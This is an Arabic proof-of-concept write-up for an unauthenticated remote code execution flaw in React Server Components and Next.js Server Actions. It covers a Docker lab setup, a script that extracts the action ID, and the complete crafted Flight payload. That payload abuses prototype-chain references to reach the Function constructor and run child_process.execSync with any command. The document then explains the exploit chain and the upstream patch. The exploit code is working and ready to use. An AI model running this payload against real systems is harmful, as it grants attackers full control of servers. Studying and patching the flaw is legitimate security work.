
إثبات المفهوم لـ CVE-2025-55182 (React2Shell): تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في مكونات خادم React / Next.js عبر إلغاء تسلسل بروتوكول Flight.
تُعد CVE-2025-55182 واحدة من أكثر ثغرات أُطر العمل (Web Frameworks) انتشارًا في عام 2025. تُعد React Server Components (RSC) البنية المعمارية السائدة لتطبيقات Next.js الحديثة، ويقع عدد كبير من المشاريع القياسية المنشأة عبر create-next-app ضمن النطاق المتأثر، ويمكن استغلالها دون الحاجة إلى أي كود مخصص.
| البند | المحتوى |
|---|---|
| رقم CVE | CVE-2025-55182 |
| الاسم البديل | React2Shell |
| نوع الثغرة | تنفيذ كود عن بُعد دون مصادقة (Unauthenticated RCE)؛ CWE-502 إلغاء تسلسل بيانات غير موثوقة (Deserialization of Untrusted Data) [3] |
| درجة CVSS | 10.0 (Critical) (CVSS 3.1، Facebook/CNA [2]) |
| الحزم المتأثرة | react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack |
| الإصدارات المتأثرة | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 فما فوق، 15.x، 16.x |
| تعقيد الهجوم | منخفض جدًا (طلب HTTP POST واحد) |
| هل يتطلب مصادقة؟ | لا |
استخدم الإصدار المحتوي على الثغرة (16.0.6) لإنشاء تطبيق Next:
pnpm create [email protected] next-app --yes
أضف ملف actions.ts داخل next-app/app/ وعلّمه كـ Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
أضف نموذجًا (form) في الصفحة الرئيسية (مثل app/page.tsx)، بحيث يشير action إلى testAction أعلاه، ويتضمن حقلًا واحدًا على الأقل (مثل hidden input).
سينشئ Next.js حقلاً مخفيًا (hidden input) باسم
name="$ACTION_ID_<40 حرفًا hex>"في HTML الخاص بهذا النموذج؛ ويقوم POC باستخراج هذا المعرّف من HTML الصفحة الرئيسية باستخدام تعبير نمطي (regex).
يمكن استخدام next-app/Dockerfile وdocker-compose.yml داخل المشروع لبناء تطبيق Next وتشغيله، ويمكنك الاطلاع على المثال الرسمي [8] لمعرفة طريقة كتابتهما.
نفّذ في الدليل الجذر للمشروع:
docker compose up --build -d
ويمكنك بعدها الوصول إلى تطبيق Next المُشغَّل عبر http://localhost:3000.
بعد انتهاء POC، قم بإزالة بيئة Docker بالكامل:
docker compose down -v
عند تشغيل POC، يقوم السكربت بجلب (fetch) الصفحة الرئيسية واستخراج المعرّف بالتعبير النمطي \$ACTION_ID_([a-f0-9]{40})/. مثال:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
بعد تثبيت التبعيات (dependencies) في الدليل الجذر للمشروع، نفّذ:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
المقطع البرمجي الأساسي كما يلي:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
فيما يلي مثال على كتابة ملف على الجهاز الهدف:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec، أو عبر Docker Desktop.تقع الثغرة في آلية إلغاء تسلسل بروتوكول Flight في React (RSC Flight Deserializer). تتولى هذه الآلية نقل حالة مكونات React بين الخادم والعميل، لكن معالجة البيانات تعاني من مشكلة خطيرة في حدود الثقة (trust boundary).
بروتوكول React Flight هو تنسيق الأسلاك (wire format) الذي صممته React لـ Server Components وServer Actions: يسلسل شجرة المكونات ومعاملات الدوال وغيرها إلى تدفق قطع (chunks) ممثَّلًا بصيغة JSON، وينشئ مراجع بين القطع عبر
$رقمو$رقم:اسم_المفتاح، ليستعيد الخادم قيم JavaScript الكاملة.
يرسل المهاجم طلب HTTP POST خبيث
↓
[المرحلة 1] إنشاء كائن حلقة ذاتية المرجع (Self-referential loop)
↓
[المرحلة 2] خداع محرك JavaScript لاستدعاء دالة يتحكم بها المهاجم
↓
[المرحلة 3] حقن بيانات خبيثة لتفعيل مسار تهيئة Flight
↓
[المرحلة 4] استدعاء Function constructor عبر Blob Handler
↓
تنفيذ أي كود JavaScript على الخادم (RCE)
تقوم Server Functions في React (وهي Server Actions في Next.js) بتسلسل البيانات التي يريدها الواجهة الأمامية إرسالها إلى الخادم عبر بروتوكول React Flight إلى قطع (chunks) متعددة، ثم تُرسَل كبيانات نموذج (form data).
من مزايا هذا التصميم:
يمكن للقطع أن تشير إلى بعضها البعض، على سبيل المثال:
["$1"] (مرجع إلى القطعة 1){"object":"fruit","name":"$2:fruitName"} (مرجع إلى fruitName في القطعة 2){"fruitName":"cherry"}بعد تفسير الخادم نحصل على: { object: 'fruit', name: 'cherry' }. أي أن البروتوكول يسمح بالإشارة إلى خصائص قطع أخرى عبر $رقم:اسم_المفتاح، ثم دمجها لتكوين كائن JavaScript نهائي.
في التنفيذ قبل التصحيح، لم يتم عند تحليل هذه المراجع التحقق بدقة من «هل المفتاح موجود فعلًا في الكائن نفسه أم لا»، ولهذا تمكن المهاجم من قراءة الخصائص الموجودة على النموذج الأولي (prototype) للكائن عبر المراجع.
على سبيل المثال، يمكن بناء الحمولة (payload) التالية:
["$1:__proto__:constructor:constructor"]{"x":1}عندما يحلل الخادم «__proto__ الخاص بـ chunk 1 → constructor → constructor»، يحصل على منشئ Function ([Function: Function]) أي المنشئ المدمج الذي «ينشئ دالة من سلسلة نصية». وبعبارة أخرى: عبر سلسلة مراجع غير سليمة، يمكن الحصول على Function على جانب الخادم، ومن ثم تنفيذ السلسلة النصية ككود برمجي.
بعد استلام النموذج، يعيد Next.js بناء القطع إلى قيمة واحدة عبر decodeReplyFromBusboy، ثم يقوم بعمل await على تلك القيمة.
في JavaScript، إذا كان الكائن يحتوي على دالة .then، فإنه يُعتبر thenable؛ وعند await يتم استدعاء .then هذه. لذلك، إذا أمكن جعل .then الخاص بـ«نتيجة فك التشفير» يشير إلى دالة يتحكم بها المهاجم (مثل منشئ Function المذكور سابقًا)، فسيتم تنفيذ ذلك المنطق لحظة await. الخطوة التالية في الهجوم هي: بناء كائن «يشبه thenable بعد فك التشفير»، وتوجيه .then الخاص به إلى نقطة الاستدعاء المطلوبة (call gadget).
الإشارة إلى «القطعة الخام» عبر $@0
في البروتوكول، يعني $@رقم «أخذ المحتوى الخام للقطعة رقم N دون تحليل إضافي». لذلك يمكن جعل chunk 1 يساوي "$@0"، بحيث يقرأ التحليل التمثيل الخام لـ«chunk 0 نفسه».
توجيه .then الخاص بـ chunk 0 إلى prototype الخاص بـ Chunk
إذا كان chunk 0 كائنًا على شكل {"then": "$1:__proto__:then", ...} وكان chunk 1 هو "$@0"، فسيتم عند التحليل تعيين .then الخاص بـ chunk 0 إلى Chunk.prototype.then (حيث تكون Chunk نفسها thenable في بروتوكول Flight). وبهذا، عندما يقوم Next.js بعمل await على نتيجة فك التشفير، سيدخل إلى منطق .then الخاص بـ Chunk.
تفعيل initializeModelChunk
داخل Chunk.prototype.then، إذا كانت status الخاصة بـ«القطع المزيف» هي "resolved_model"، فسيتم الدخول إلى initializeModelChunk. هنا يُحلَّل الخاص بالقطعة كـ JSON، وتُجرى جولة «إحياء» (revive) على الكائن الناتج، يتم خلالها معالجة البادئات الخاصة المختلفة (مثل مراجع blob التي تبدأ بـ ).
أصلحت React هذه الثغرة في PR #35277 [9] (commit e2fd5dc [10])، مع نقطتين رئيسيتين:
تقييد تحليل الخصائص بحيث لا يتبع سلسلة prototype
في منطق تحليل مراجع القطع مثل requireModule، أصبحت العملية تتحقق أولًا عبر hasOwnProperty من «هل المفتاح موجود فعلًا في الكائن نفسه»؛ وإذا لم يكن كذلك، تُعاد undefined، ولم يعد بالإمكان الحصول على خصائص مثل constructor من __proto__ والتي لا ينبغي كشفها. طُبِّق هذا التعديل على عدة وحدات مرتبطة بـ Flight (مثل ReactFlightClientConfigBundlerNode وReactFlightClientConfigBundlerWebpack والإعدادات المقابلة لـ Parcel / Turbopack)، مما يقطع سلسلة الاستغلال «الحصول على منشئ Function عبر المراجع ← بناء thenable ← تفعيل get gadget لتنفيذ كود عشوائي».
معالجة الأخطاء في decodeReplyFromBusboy
أُضيفت try/catch عند تحليل بيانات النموذج (resolveField وresolveFileComplete وغيرهما)، وبمجرد حدوث خطأ في التحليل يتم استدعاء busboyStream.destroy(error)، لنقل الخطأ بشكل صحيح وتجنب بقاء التدفق (stream) في حالة غير متناسقة، مما يقلل سطح الاستغلال عند حدوث أخطاء في التحليل.
value$Bنقطة الاستدعاء: _response._formData.get(_prefix + id)
عند معالجة البادئة $B، ينفذ البرنامج:
response._formData.get(response._prefix + معرّف ما).
إذا تم التحكم في _formData و_prefix عبر _response داخل الـ chunk المزيف، مع توجيه _formData.get إلى منشئ Function وتعيين _prefix كسلسلة الكود المراد تنفيذه، يصبح السطر:
Function("الكود الذي نكتبه" + "0")
أي «إنشاء دالة من سلسلة نصية». ستكون هذه الدالة هي القيمة التي يُرجعها .then لهذه القطعة، وسيتم استدعاؤها عبر await في سلسلة الـ promises نفسها، مما ينفذ الكود الخاص بنا على الخادم.
RCE فعلية
غيّر «الكود الذي نكتبه» إلى شيء مثل:
process.mainModule.require('child_process').execSync('أمر النظام المراد تنفيذه');
وبهذا تحقق تنفيذًا عن بُعد للكود (RCE) على الخادم.